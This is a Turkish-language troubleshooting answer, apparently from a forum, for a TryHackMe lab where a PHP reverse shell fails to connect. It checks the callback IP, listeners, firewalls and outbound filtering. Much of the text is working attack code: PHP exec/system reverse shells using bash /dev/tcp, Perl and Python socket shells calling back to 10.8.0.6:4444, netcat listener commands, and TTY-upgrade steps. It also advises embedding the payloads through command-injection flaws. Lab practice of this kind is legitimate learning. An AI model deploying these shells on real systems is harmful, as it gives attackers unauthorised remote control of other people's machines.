Hızlı kontrol listesi (önce bunları kontrol et)
- Callback IP doğru mu?
- Reverse-shell içindeki IP attacker (senin) makinenin tun0 IP’si olmalı (ör. 10.8.0.6 gibi). ifconfig veya ip addr show tun0 ile kesin IP’yi al.
- URL doğru formatta mı?
- Doğru: http://<target_ip>:<port>/reverse-shell.php — iki noktayı
) unutma. Senin yazdığın örnek eksik gözüküyor.
- Listener gerçekten dinliyor mu?
- En yaygın kullanılanlar:
- Netcat (OpenBSD): nc -lvnp 4444 veya nc -lvp 4444
- Alternatif (GNU/ncat): ncat -lvp 4444 veya nc -l 4444 -v
- Çalıştığını doğrulamak için başka bir terminalden kendine telnet <tun0_ip> 4444 veya nc <tun0_ip> 4444 ile bağlanmayı dene.
- Firewall (ufw/iptables) engelliyor mu?
- Kendi makinede: sudo ufw status veya sudo iptables -L -n. Gerekirse sudo ufw allow 4444 veya geçici kapat sudo ufw disable (lab ortamıysa sorun yok).
- Target makine dışarıya çıkış portunu engelliyor mu?
- Hedef makineler bazen outbound bağlantıları kısıtlar. Bunu teyit etmek için hedeften (veya web exploit console’dan) başka bir port/host’a bağlanma denemesi yap. Veya tcpdump ile gelen bağlantı var mı bak:
- sudo tcpdump -i tun0 tcp port 4444 (attacker makinede) — bağlantı isteği gelip gelmediğini gösterir.
- PHP script gerçekten çalışıyor mu?
- Hedefte script erişilebilir ve PHP kodu çalıştırılıyor mu?: curl http://<target_ip>/reverse-shell.php komutunu çalıştır ve çıktısını incele. Hata/uyarı var mı?
Örnek ters-shell payload’ları (PHP tarafı)
Basit PHP exec ile (ve attacker IP = 10.8.0.6, port = 4444):
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.6/4444 0>&1'");
?>
PHP system ile:
php
<?php
system("bash -i >& /dev/tcp/10.8.0.6/4444 0>&1");
?>
Alternatif: /dev/tcp kullanılamıyorsa (yalnızca sh yok) — php reverse shell (socket) örneği
(Popüler longer PHP reverse shell scriptleri var; TryHackMe’de genelde çalışan snippet yukarıdaki.)
Not: Hedefte /bin/bash yoksa farklı shell deney (sh, ash).
Listener komut örnekleri (çeşitli netcat sürümleri)
OpenBSD netcat (çoğu Linux dağıtımında):
nc -lvnp 4444
GNU netcat / ncat:
ncat -lvp 4444
Eğer bind hatası alırsan sudo ile yeniden deneyin.
Bağlantı geldi ama interaktif değilse (upgrade/TTY)
Eğer bağlantı geliyor ama çok ham/tek satırlık ise aşağıdakileri uygula:
python varsa (hedefte):
python -c 'import pty; pty.spawn("/bin/bash")'
Yerel terminalde: Ctrl+Z (arka plana al), sonra:
stty raw -echo; fg
Ardından enter, ve tekrar stty -raw echo geri almak için.
Alternatif: rlwrap veya socat ile daha iyi shell alınır.
Ağ / routing sıkıntılarına odaklan
Hedeften attacker’a bağlantı çıkıyor mu? Bunu görmek için attacker makinede sudo tcpdump -i tun0 port 4444 çalıştır. Eğer SYN paketleri geliyorsa hedef gerçekten deniyor ama belki RST alıyor veya handshake olmuyor.
Doğru arayüzü dinliyor musun? Eğer VPN üzerinde dinliyorsan listener otomatik olarak tun0 üzerinden gelene cevap verebilir. Ama bazı durumlarda dinleme sadece localhost üzerinde açılmış olabilir. ss -ltnp | grep 4444 ile hangi IP üzerinde dinlendiğini gör.
NAT / VirtualBox host-only vs gerçek VPN: TryHackMe tun0 IP’si ile karışıklık olmasın; attacker makinenin gerçekten erişilebilir IP’sini kullan.
Daha sağlam bir test (basit)
Attacker:
sudo tcpdump -n -i tun0 port 4444 # bağlantı isteği gelip gelmiyor gözlemle
nc -lvnp 4444
Hedef / tarayıcıdan tetikle:
curl "http://<target_ip>/reverse-shell.php"
tcpdump üzerinde SYN geliyorsa bağlantı hedeften geliyor demektir — ama eğer SYN geliyor ama RST dönüyorsa attacker tarafında firewall veya listener yok.
Başka payload’ları da dene (PHP dışı)
Perl:
perl -e 'use Socket;$i="10.8.0.6";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python:
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.8.0.6",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bunları web üzerinden tetikleyecek şekilde PHP içine embed edebilirsin veya hedefte bir komut çalıştırma zafiyeti varsa doğrudan çalıştır.
En sık rastlanan sebepler (özet)
Yanlış callback IP (localhost veya yanlış arayüz IP).
URL formatında hata

eksik).
Listener doğru açılmamış veya yanlış netcat seçeneği (sürüm farkı).
Attacker firewall portu kapalı.
Hedefin outbound trafiği kısıtlı (kurum/sandbox).
PHP script erişilemiyor veya PHP yorumlayıcısı çalışmıyor.
Shell bağlandı ama interaktif değil tty upgrade gerek.
Cozuldu ise cozulduye basarsan sevinirim